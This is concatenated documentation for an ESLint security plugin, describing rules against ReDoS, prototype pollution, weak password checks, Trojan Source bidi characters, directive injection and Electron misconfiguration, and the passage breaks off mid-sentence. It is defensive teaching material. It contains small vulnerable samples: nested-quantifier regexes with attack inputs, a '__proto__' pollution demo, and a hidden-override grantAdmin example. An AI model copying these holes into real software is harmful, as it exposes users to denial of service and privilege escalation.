:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-400](https://cwe.mitre.org/data/definitions/400.html) [OWASP:A06](https://owasp.org/Top10/A06_2021-Injection/) [CVSS:7.5](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Uncontrolled Resource Consumption (ReDoS) detected` | | **Severity & Compliance** | Impact assessment | `HIGH` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A06_2021-Injection/) | ## Configuration [#configuration] | Option | Type | Default | Description | | -------------------- | ---------- | ------- | -------------------------------------------------------------- | | `allowLiterals` | `boolean` | `false` | Allow literal string regex patterns | | `additionalPatterns` | `string[]` | `[]` | Additional RegExp creation patterns | | `maxPatternLength` | `number` | `100` | Maximum allowed length for a DYNAMIC pattern before it reports | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // ReDoS - CRITICAL risk new RegExp(userInput); // Attacker can cause exponential backtracking // Complex dynamic patterns - HIGH risk RegExp(`^${userPattern}$`); // Unvalidated pattern construction // ReDoS in literal regex - MEDIUM risk /(a+)+b/.test(input); // Nested quantifiers cause backtracking ``` ### ✅ Correct [#-correct] ```typescript const result = myFunction(pattern); ``` ## ReDoS Prevention [#redos-prevention] ### Understanding ReDoS [#understanding-redos] ```javascript // ❌ Vulnerable: Nested quantifiers /(a+)+b/.test('aaaaaaaaaaaaaab'); // Exponential backtracking // ✅ Safe: Restructure /a+b/.test('aaaaaaaaaaaaaab'); // Linear time ``` ### Safe Alternatives [#safe-alternatives] 1. **Pre-defined Patterns** ```typescript const SAFE_PATTERNS = { email: /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/, uuid: /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i, }; ``` 2. **Input Escaping** ```typescript function escapeRegex(string: string): string { return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); } ``` 3. **Safe Libraries** ```typescript import safeRegex from 'safe-regex'; if (safeRegex(userPattern)) { new RegExp(userPattern); } ``` ## Common ReDoS Patterns [#common-redos-patterns] | Pattern | Risk | Example | Safe Alternative | | --------- | -------- | -------------------- | ---------------- | | `(a+)+` | Critical | `/(a+)+b/` | `/a+b/` | | `(a*)*` | Critical | `/(a*)*b/` | `/a*b/` | | `(a\|b)*` | High | Complex alternations | Simplify | | `.*` | Medium | Greedy matching | Be specific | ## Migration Guide [#migration-guide] ### Phase 1: Discovery [#phase-1-discovery] ```javascript { rules: { 'secure-coding/detect-non-literal-regexp': 'warn' } } ``` ### Phase 2: Replace Dynamic Construction [#phase-2-replace-dynamic-construction] ```typescript // Replace dynamic RegExp new RegExp(userInput) → PATTERNS[userChoice] // Add escaping for necessary dynamic patterns new RegExp(escapeRegex(userInput)) ``` ### Phase 3: Test Performance [#phase-3-test-performance] ```typescript // Test with potentially malicious inputs const maliciousInputs = [ 'a'.repeat(10000) + 'b', // Triggers backtracking '(a+)+b'.repeat(1000), // Complex patterns '[a-z]*'.repeat(100), // Nested quantifiers ]; ``` ## Comparison with Alternatives [#comparison-with-alternatives] | Feature | detect-non-literal-regexp | eslint-plugin-security | eslint-plugin-sonarjs | | ------------------- | ------------------------- | ---------------------- | --------------------- | | **ReDoS Detection** | ✅ Yes | ⚠️ Limited | ⚠️ Limited | | **CWE Reference** | ✅ CWE-400 included | ⚠️ Limited | ⚠️ Limited | | **LLM-Optimized** | ✅ Yes | ❌ No | ❌ No | | **ESLint MCP** | ✅ Optimized | ❌ No | ❌ No | | **Fix Suggestions** | ✅ Detailed | ⚠️ Basic | ⚠️ Basic | ## Related Rules [#related-rules] * [`detect-eval-with-expression`](./detect-eval-with-expression.md) - Prevents code injection via eval() * [`detect-child-process`](./detect-child-process.md) - Prevents command injection * [`detect-non-literal-fs-filename`](./detect-non-literal-fs-filename.md) - Prevents path traversal * [`detect-object-injection`](./detect-object-injection.md) - Prevents prototype pollution ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Further Reading [#further-reading] * **[OWASP ReDoS Attacks](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)** - ReDoS attack guide * **[Safe Regex Library](https://github.com/substack/safe-regex)** - Safe regex patterns * **[CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)** - Official CWE entry * **[ESLint MCP Setup](https://eslint.org/docs/latest/use/mcp)** - Enable AI assistant integration ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | -------------------- | ---------- | ------- | -------------------------------------------------------------------------------- | | `allowLiterals` | `boolean` | `false` | Allow literal string regex patterns | | `additionalPatterns` | `string[]` | `[]` | Additional RegExp creation patterns to check | | `maxPatternLength` | `number` | `100` | Maximum allowed length for a DYNAMIC pattern before it reports for dynamic regex | ## Not a finding [#not-a-finding] The boundary is **static resolvability**, not proven attacker control. A pattern is accepted when this file can prove it cannot change; anything whose provenance is unresolved — a parameter, an import, `config.pattern` — reports, because a rule cannot show from one file that a value is safe. That is deliberately conservative in the reporting direction. | Code | Why it is silent | | --------------------------------------------------------- | -------------------------------------------------- | | `const source = 'ab+c'; new RegExp(source)` | Resolves to a constant. | | `const EXTS = ['png','jpg']; new RegExp(EXTS.join('\|'))` | Constant-preserving methods over a constant array. | | `const P = '^v'; new RegExp(P + '\\d+')` | Concatenation of constants. | | `for (let i = 0; i < 3; i++) new RegExp('{' + i + '}')` | The loop drives the counter. | **If it fires**, the pattern reaches a name this file cannot resolve, or a constant-preserving chain deeper than the walk follows. A parameter could be anything, which is the case the rule exists for. # detect-object-injection Detects `variable[key]` as a left- or right-hand assignment operand (prototype pollution). This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding) and provides LLM-optimized error messages with fix suggestions. **🚨 Security rule** | **💡 Provides LLM-optimized guidance** | **🔧 Opt-in — not in `recommended`** > **Opt-in only.** This rule is deliberately absent from `recommended`, > `recommended-strict` and `owasp-top-10`. It reports every computed member > access it cannot prove safe, so on ordinary application code it fires on > `obj[key]` throughout — a trade worth making deliberately, not one a preset > should make for you. It ships in `strict`, or enable it explicitly: > > ```js > rules: { 'secure-coding/detect-object-injection': 'error' } > ``` ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | -------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-915](https://cwe.mitre.org/data/definitions/915.html) (Prototype Pollution) | | **Severity** | Critical (security vulnerability) | | **Auto-Fix** | ⚠️ Suggests fixes (manual application) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | All applications, especially those handling user input for object properties | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Object injection (specifically Prototype Pollution) occurs when user input is used to access or modify properties of an object, particularly using bracket notation (e.g., `obj[userInput]`) without validation. **Risk:** Attackers can modify critical properties like `__proto__`, `constructor`, or `prototype`, affecting the behavior of all objects in the application. This can lead to Denial of Service (DoS), bypass of security checks, or even Remote Code Execution (RCE) depending on how the polluted properties are used. ## Rule Details [#rule-details] This rule detects dangerous use of bracket notation with dynamic property names that can lead to prototype pollution attacks. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["🔍 Detect Bracket Notation"] --> B{"Dynamic Property?"} B -->|Yes| C["🚨 Prototype Pollution Risk"] B -->|No| D["✅ Literal Property - Safe"] C --> E{"Dangerous Property?"} E -->|__proto__| F["⚠️ Prototype Pollution"] E -->|constructor| G["⚠️ Method Injection"] E -->|Other| H["⚠️ Property Injection"] F --> I["💡 Suggest Map/Object.create"] G --> I H --> J["💡 Suggest whitelisting"] I --> K["📝 LLM-Optimized Guidance"] J --> K ``` ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-915 OWASP:A01 CVSS:9.8 | Object Injection detected | CRITICAL [SOC2,PCI-DSS,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A01_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-915](https://cwe.mitre.org/data/definitions/915.html) [OWASP:A01](https://owasp.org/Top10/A01_2021-Injection/) [CVSS:9.8](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Object Injection detected` | | **Severity & Compliance** | Impact assessment | `CRITICAL [SOC2,PCI-DSS,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A01_2021-Injection/) | ## Configuration [#configuration] | Option | Type | Default | Description | | --------------------- | ---------- | ------------------------------------------- | ------------------------------------------- | | `allowLiterals` | `boolean` | `false` | Allow bracket notation with literal strings | | `additionalMethods` | `string[]` | `[]` | Additional object methods to check | | `dangerousProperties` | `string[]` | `['__proto__', 'prototype', 'constructor']` | Properties to consider dangerous | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Prototype pollution - CRITICAL risk obj[userInput] = value; // If userInput is "__proto__", pollutes all objects // Constructor manipulation - HIGH risk config[userKey] = func; // If userKey is "constructor", injects methods // Property injection - MEDIUM risk settings[dynamicKey] = data; // Uncontrolled property addition ``` ### ✅ Correct [#-correct] ```typescript // Use Map for dynamic key-value storage const config = new Map(); config.set(userKey, value); // Use Object.create(null) for clean objects const safeObj = Object.create(null); safeObj[userKey] = value; // Safe because no prototype // Property whitelisting const ALLOWED_KEYS = ['name', 'age', 'email', 'role']; if (ALLOWED_KEYS.includes(userKey)) { obj[userKey] = value; } // hasOwnProperty check if (obj.hasOwnProperty(userKey)) { const value = obj[userKey]; // Safe access } ``` ## Prototype Pollution Prevention [#prototype-pollution-prevention] ### Understanding the Attack [#understanding-the-attack] ```javascript // Attacker controls userInput = "__proto__" // This pollutes ALL objects in the application obj[userInput] = { malicious: () => console.log('HACKED') }; // Now ALL objects have the malicious property const innocent = {}; console.log(innocent.malicious); // Function exists! ``` ### Safe Alternatives [#safe-alternatives] 1. **Map for Key-Value Storage** ```typescript const config = new Map(); config.set(userKey, value); const value = config.get(userKey); ``` 2. **Object.create(null)** ```typescript const safeObject = Object.create(null); // No prototype safeObject[userKey] = value; ``` 3. **Property Whitelisting** ```typescript const ALLOWED_PROPS = ['name', 'age', 'email']; if (ALLOWED_PROPS.includes(prop)) { obj[prop] = value; } ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ---------------------------- | ------------------------------------ | --------------------------------------------------------------- | | 🕵️ **Prototype Poll.** | Global object behavior modified | Use `Map` or `Object.create(null)` for user-keyed objects | | 🚀 **RCE** | Attackers execute arbitrary code | Validate all keys against a strict whitelist | | 🔒 **Compliance** | Failure to prevent injection attacks | Implement defense-in-depth by freezing prototypes in production | ## Migration Guide [#migration-guide] ### Phase 1: Discovery [#phase-1-discovery] ```javascript { rules: { 'secure-coding/detect-object-injection': 'warn' } } ``` ### Phase 2: Replace Dynamic Access [#phase-2-replace-dynamic-access] ```typescript // Replace object access obj[key] → use Map or whitelisting // Replace assignments obj[key] = value → map.set(key, value) ``` ### Phase 3: Add Validation [#phase-3-add-validation] ```typescript // Implement property validation function isValidProperty(prop: string): boolean { const ALLOWED = ['name', 'value', 'type']; return ALLOWED.includes(prop) && !prop.startsWith('_'); } ``` ### Phase 4: Secure Implementation [#phase-4-secure-implementation] ```typescript // Use secure patterns const config = new Map(); const safeObj = Object.create(null); ``` ## Advanced Protection [#advanced-protection] ### Deep Prototype Protection [#deep-prototype-protection] ```typescript // Freeze prototypes (careful - affects entire application) Object.freeze(Object.prototype); Object.freeze(Array.prototype); // Or use a security library import { secureObject } from 'security-utils'; const safeObj = secureObject.create(); ``` ### Type-Safe Access [#type-safe-access] ```typescript // TypeScript: strict property access interface SafeConfig { [key: string]: never; // No index signature name: string; value: number; } const config: SafeConfig = { name: '', value: 0 }; // config[userKey] = value; // TypeScript error! ``` ## Testing Security [#testing-security] ```typescript // Test prototype pollution attempts const pollutionAttempts = [ '__proto__', 'prototype', 'constructor', '__defineGetter__', '__defineSetter__', ]; for (const prop of pollutionAttempts) { expect(() => { const obj = {}; obj[prop] = 'malicious'; return obj.hasOwnProperty('malicious'); }).toBe(false); // Should not pollute } ``` ## Comparison with Alternatives [#comparison-with-alternatives] | Feature | detect-object-injection | eslint-plugin-security | eslint-plugin-sonarjs | | --------------------------------- | ----------------------- | ---------------------- | --------------------- | | **Prototype Pollution Detection** | ✅ Yes | ⚠️ Limited | ⚠️ Limited | | **CWE Reference** | ✅ CWE-915 included | ⚠️ Limited | ⚠️ Limited | | **LLM-Optimized** | ✅ Yes | ❌ No | ❌ No | | **ESLint MCP** | ✅ Optimized | ❌ No | ❌ No | | **Fix Suggestions** | ✅ Detailed | ⚠️ Basic | ⚠️ Basic | ## Related Rules [#related-rules] * [`detect-eval-with-expression`](./detect-eval-with-expression.md) - Prevents code injection via eval() * [`detect-child-process`](./detect-child-process.md) - Prevents command injection * [`detect-non-literal-fs-filename`](./detect-non-literal-fs-filename.md) - Prevents path traversal * [`no-unsafe-dynamic-require`](./no-unsafe-dynamic-require.md) - Prevents unsafe module loading * [`detect-non-literal-regexp`](./detect-non-literal-regexp.md) - Prevents ReDoS attacks ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Property from Variable [#property-from-variable] **Why**: Property names stored in variables not traced. ```typescript // ❌ NOT DETECTED - Property from variable const prop = userInput; obj[prop] = value; ``` **Mitigation**: Validate keys before any bracket access. ### Nested Object Access [#nested-object-access] **Why**: Deep property chains not fully analyzed. ```typescript // ❌ NOT DETECTED - Nested access obj.nested[userKey] = value; ``` **Mitigation**: Apply whitelisting to all levels. ### Object.assign with Spread [#objectassign-with-spread] **Why**: Spread of user objects may pollute. ```typescript // ❌ NOT DETECTED - Object spread const result = { ...userObject }; // May contain __proto__ ``` **Mitigation**: Use safe merge utilities. ### JSON.parse Pollution [#jsonparse-pollution] **Why**: Parsed JSON can introduce prototype keys. ```typescript // ❌ NOT DETECTED - JSON pollution const obj = JSON.parse(userJson); // May have __proto__ ``` **Mitigation**: Use JSON.parse with reviver. Filter keys. ## Further Reading [#further-reading] * **[Prototype Pollution Attacks](https://portswigger.net/web-security/prototype-pollution)** - Prototype pollution guide * **[JavaScript Prototype Security](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain)** - Prototype chain security * **[CWE-915: Object Prototype Modification](https://cwe.mitre.org/data/definitions/915.html)** - Official CWE entry * **[ESLint MCP Setup](https://eslint.org/docs/latest/use/mcp)** - Enable AI assistant integration ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | --------------------- | ------------------------------------------------------- | ----------------------------------------- | ------------------------------------------------------------- | | `allowLiterals` | `boolean` | `false` | Allow bracket notation with literal strings | | `additionalMethods` | `string[]` | `[]` | Additional object methods to check for injection | | `dangerousProperties` | `string[]` | `["__proto__","prototype","constructor"]` | Properties to consider dangerous | | `strategy` | `"validate"` \| `"whitelist"` \| `"freeze"` \| `"auto"` | `"auto"` | Strategy for fixing object injection (auto = smart detection) | # detect-weak-password-validation ⚠️ This rule **errors** by default in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ----------------------------------------------------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-521](https://cwe.mitre.org/data/definitions/521.html) (Weak Password Requirements) | | **OWASP** | [A07:2021 Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/) | | **Severity** | Critical | | **Category** | Security | ## Rule Details [#rule-details] Weak password requirements allow attackers to easily brute-force or guess user credentials. This rule detects password length checks that are too permissive (less than 8 characters). Modern security standards recommend minimum 12 characters with complexity requirements. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Too short - easily brute-forced if (password.length >= 4) { return true; } // Still too weak if (pwd.length > 5) { acceptPassword(); } // Exact match is weak if (pass.length === 6) { // Accept password } ``` ### ✅ Correct [#-correct] ```javascript // NIST minimum recommendation if (password.length >= 8) { return validateComplexity(password); } // Better - 12+ characters if (password.length >= 12) { return true; } // Best - use a password validation library import { zxcvbn } from 'zxcvbn'; const result = zxcvbn(password); if (result.score >= 3) { return true; } ``` ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ CWE-521 OWASP:A07 CVSS:5.3 | Weak Password Requirements detected | MEDIUM Fix: Review and apply the recommended fix | https://owasp.org/Top10/A07_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-521](https://cwe.mitre.org/data/definitions/521.html) [OWASP:A07](https://owasp.org/Top10/A07_2021-Injection/) [CVSS:5.3](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Weak Password Requirements detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A07_2021-Injection/) | ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Configuration-Based Length [#configuration-based-length] **Why**: Length values from configuration are not traced. ```typescript // ❌ NOT DETECTED - Config value const minLength = config.passwordMinLength; // Could be 4! if (password.length >= minLength) { } ``` **Mitigation**: Audit configuration files separately. ### Validation in External Functions [#validation-in-external-functions] **Why**: Password validation in helper functions not analyzed. ```typescript // ❌ NOT DETECTED - External validator validatePassword(password); // May have weak internal checks ``` **Mitigation**: Apply rule to all password validation code. ### Non-Standard Variable Names [#non-standard-variable-names] **Why**: Only detects variables containing "password", "pwd", or "pass". ```typescript // ❌ NOT DETECTED - Non-standard naming if (userCredential.length >= 4) { } if (secretInput.length >= 4) { } ``` **Mitigation**: Use consistent naming conventions. ## When Not To Use It [#when-not-to-use-it] * When using a dedicated password validation library (zxcvbn, password-validator) * In test files mocking password validation * When the length check is combined with other complexity requirements ## Further Reading [#further-reading] * [NIST Password Guidelines](https://pages.nist.gov/800-63-3/sp800-63b.html) * [OWASP Password Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) * [CWE-521: Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html) ## Related Rules [#related-rules] * [no-hardcoded-credentials](./no-hardcoded-credentials.md) (in eslint-plugin-postgresql-security) * no-client-side-auth-logic (planned) *** **Category:** Security\ **Type:** Problem\ **Recommended:** Yes # Rules Comprehensive coverage of OWASP Top 10 vulnerabilities and secure coding best practices. ## All Rules [#all-rules] *** ## Rule Categories [#rule-categories] ### Injection Prevention [#injection-prevention] Rules that prevent SQL injection, XSS, command injection, and other injection attacks. ### Authentication & Authorization [#authentication--authorization] Rules for secure authentication patterns, session management, and access control. ### Cryptography [#cryptography] Rules ensuring proper use of cryptographic functions and secure random number generation. ### Data Protection [#data-protection] Rules preventing exposure of sensitive data in logs, storage, and transmission. ### Input Validation [#input-validation] Rules enforcing proper input validation and sanitization. # no-bidi-characters **CWE:** [CWE-1007](https://cwe.mitre.org/data/definitions/1007.html) **Reference:** [Trojan Source (Boucher & Anderson, 2021)](https://trojansource.codes/) Bidirectional control characters are invisible. They tell a text renderer to reorder the characters around them, so an editor, a terminal, and a GitHub diff can all display one program while the compiler builds a different one. The reviewer approves what they see; the build ships what is actually there. This is the defect class behind [CVE-2021-42574](https://nvd.nist.gov/vuln/detail/CVE-2021-42574), which affected essentially every language with Unicode source support. ## Rule details [#rule-details] Reports any of the Unicode bidi control characters appearing anywhere in the source — string literals, comments, identifiers, or template contents. Examples of **incorrect** code: ```js // The comment below contains U+202E RIGHT-TO-LEFT OVERRIDE. // Rendered, it reads as an early return. Compiled, it is not one. if (accessLevel !== 'user‮ ⁦// Check if admin⁩⁦') { grantAdmin(); } ``` ```js const isAdmin = false; /*‮ } ⁦if (isAdmin)⁩ ⁦*/ ``` Examples of **correct** code: ```js // Plain ASCII: what is displayed is what is compiled. if (accessLevel !== 'user') { grantAdmin(); } ``` ```js // Legitimate right-to-left TEXT needs no control characters — // the characters carry their own direction. const messages = { he: 'שלום', ar: 'مرحبا' }; ``` ## Why this rule reports what it does [#why-this-rule-reports-what-it-does] The distinction that matters is **control characters versus script**. Hebrew, Arabic, Persian and Urdu text is welcome and reports nothing — those characters have intrinsic directionality. What is reported is the invisible *override*: `U+202A`–`U+202E`, `U+2066`–`U+2069`, and the directional marks `U+200E`/`U+200F`. ## Options [#options] | Option | Type | Default | Description | | ----------------------- | ---------- | ------- | ----------------------------------------------------------------- | | `additionalCharacters` | `string[]` | `[]` | Extra code points to treat as bidirectional control characters | | `allowDirectionalMarks` | `boolean` | `false` | Permit `U+200E` / `U+200F` (LRM / RLM), which cannot reorder code | ```js { 'secure-coding/no-bidi-characters': ['error', { additionalCharacters: [], allowDirectionalMarks: false, }], } ``` **`allowDirectionalMarks`** — the two directional *marks* are occasionally load-bearing in mixed-direction UI copy, where they fix punctuation placement in an otherwise correct string. They cannot reorder code, only adjacent characters. Set this to `true` if your localisation files legitimately use them; the overrides and isolates stay reported either way. **`additionalCharacters`** — accepts code points as strings, for organisations with a stricter Unicode policy than this rule's default set. ## Suggestions [#suggestions] The rule provides a `removeBidiCharacter` suggestion that deletes the offending character. It is offered rather than auto-fixed deliberately: if the character is load-bearing in a localisation string, silently removing it on `--fix` would corrupt the copy. ## When not to use it [#when-not-to-use-it] If your build pipeline already rejects non-ASCII source outright, this rule is redundant. Otherwise, keep it on — the cost is a single scan and the failure mode it prevents is a code review that cannot be trusted. ## Related [#related] * [`eslint-plugin-secure-coding/detect-object-injection`](./detect-object-injection.md) * [`anti-trojan-source`](https://github.com/lirantal/anti-trojan-source) — the reference implementation of this check # no-directive-injection **CWE:** [CWE-74](https://cwe.mitre.org/data/definitions/74.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects directive injection vulnerabilities in template systems. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | | **CWE Reference** | [CWE-94](https://cwe.mitre.org/data/definitions/94.html) (Code Injection), [CWE-96](https://cwe.mitre.org/data/definitions/96.html) (SSTI) | | **Severity** | High (CVSS 8.8) | | **Auto-Fix** | 💡 Suggestions available | | **Category** | Security | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Directive injection (specifically in frameworks like Angular or Vue) occurs when user-controlled attributes can modify the structure or behavior of the DOM in unexpected ways, potentially leading to Client-Side Template Injection (CSTI) or XSS. **Risk:** Attackers can inject malicious directives to execute arbitrary JavaScript code within the victim's session, bypass framework security controls, or manipulate the application's view and logic. ## Rule Details [#rule-details] Directive injection occurs when user input is used to inject malicious directives into template systems (Angular, Vue, React, etc.). Attackers can: * Execute arbitrary JavaScript code * Manipulate the DOM and steal user data * Perform cross-site scripting (XSS) attacks * Bypass Content Security Policy (CSP) ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | --------------------- | --------------------------- | ------------------------ | | 💻 **Code Execution** | Full application compromise | Use static directives | | 🎭 **XSS** | User session hijacking | Sanitize template input | | 🔓 **CSP Bypass** | Security control evasion | Validate directive names | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```tsx element.innerHTML = userInput; ``` ### ✅ Correct [#-correct] ```typescript // Use hardcoded directive names
// Sanitize HTML before rendering import DOMPurify from 'dompurify';
// Use trusted templates only const template = trustedTemplates[templateId]; this.compile(template); // Validate directive names against whitelist const allowedDirectives = ['onClick', 'onChange', 'onSubmit']; if (allowedDirectives.includes(directive)) {
} ``` ## Configuration [#configuration] ```javascript { rules: { 'secure-coding/no-directive-injection': ['error', { trustedDirectives: ['onClick', 'onChange', 'onSubmit'], frameworks: ['react', 'angular', 'vue'], allowDynamicInComponents: false }] } } ``` ## Options [#options] | Option | Type | Default | Description | | -------------------------- | ---------- | ---------------------------------------------------------------------- | ------------------------------------------------------------ | | `trustedDirectives` | `string[]` | `["ngIf","ngFor","ngClass","v-if","v-for","v-bind","v-on"]` | Template directives treated as safe | | `userInputVariables` | `string[]` | `["req","request","body","query","params","input","data","userInput"]` | Variable names treated as user-controlled input | | `frameworks` | `string[]` | `["angular","vue","react","svelte"]` | Template frameworks to analyse | | `allowDynamicInComponents` | `boolean` | `false` | Allow dynamic directives inside component code | | `trustedSanitizers` | `string[]` | `[]` | Additional function names to consider as template sanitizers | | `trustedAnnotations` | `string[]` | `[]` | Additional JSDoc annotations to consider as safe markers | | `strictMode` | `boolean` | `false` | Disable all false positive detection (strict mode) | ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-94 OWASP:A05 CVSS:9.8 | Code Injection detected | CRITICAL [SOC2,PCI-DSS,ISO27001] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A05_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-94](https://cwe.mitre.org/data/definitions/94.html) [OWASP:A05](https://owasp.org/Top10/A05_2021-Injection/) [CVSS:9.8](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Code Injection detected` | | **Severity & Compliance** | Impact assessment | `CRITICAL [SOC2,PCI-DSS,ISO27001]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A05_2021-Injection/) | ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Query from Variable [#query-from-variable] **Why**: Query strings from variables not traced. ```typescript // ❌ NOT DETECTED - Query from variable const query = `SELECT * FROM users WHERE id = ${userId}`; db.execute(query); ``` **Mitigation**: Always use parameterized queries. ### Custom Query Builders [#custom-query-builders] **Why**: Custom ORM/query builders not recognized. ```typescript // ❌ NOT DETECTED - Custom builder customQuery.where(userInput).execute(); ``` **Mitigation**: Review all query builder patterns. ### Template Engines [#template-engines] **Why**: Template-based queries not analyzed. ```typescript // ❌ NOT DETECTED - Template executeTemplate('query.sql', { userId }); ``` **Mitigation**: Validate all template variables. ## Further Reading [#further-reading] * **[Angular Security](https://angular.io/guide/security)** - Angular security best practices * **[React XSS Prevention](https://reactjs.org/docs/introducing-jsx.html#jsx-prevents-injection-attacks)** - React security * **[CWE-94](https://cwe.mitre.org/data/definitions/94.html)** - Code injection documentation * **[OWASP Injection](https://owasp.org/www-project-top-ten/2017/A1_2017-Injection)** - OWASP Top 10 Injection ## Related Rules [#related-rules] * [`no-unsanitized-html`](./no-unsanitized-html.md) - XSS via innerHTML * [`detect-eval-with-expression`](./detect-eval-with-expression.md) - Code injection via eval # no-electron-security-issues **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects Electron security vulnerabilities and insecure configurations. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------ | | **CWE Reference** | [CWE-16](https://cwe.mitre.org/data/definitions/16.html) (Configuration) | | **Severity** | High (CVSS 8.8) | | **Auto-Fix** | 💡 Suggestions available | | **Category** | Security | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Insecure Electron configurations (like enabling `nodeIntegration` or disabling `contextIsolation`) expose the renderer process to Node.js APIs. **Risk:** This is a critical vulnerability that typically leads to Remote Code 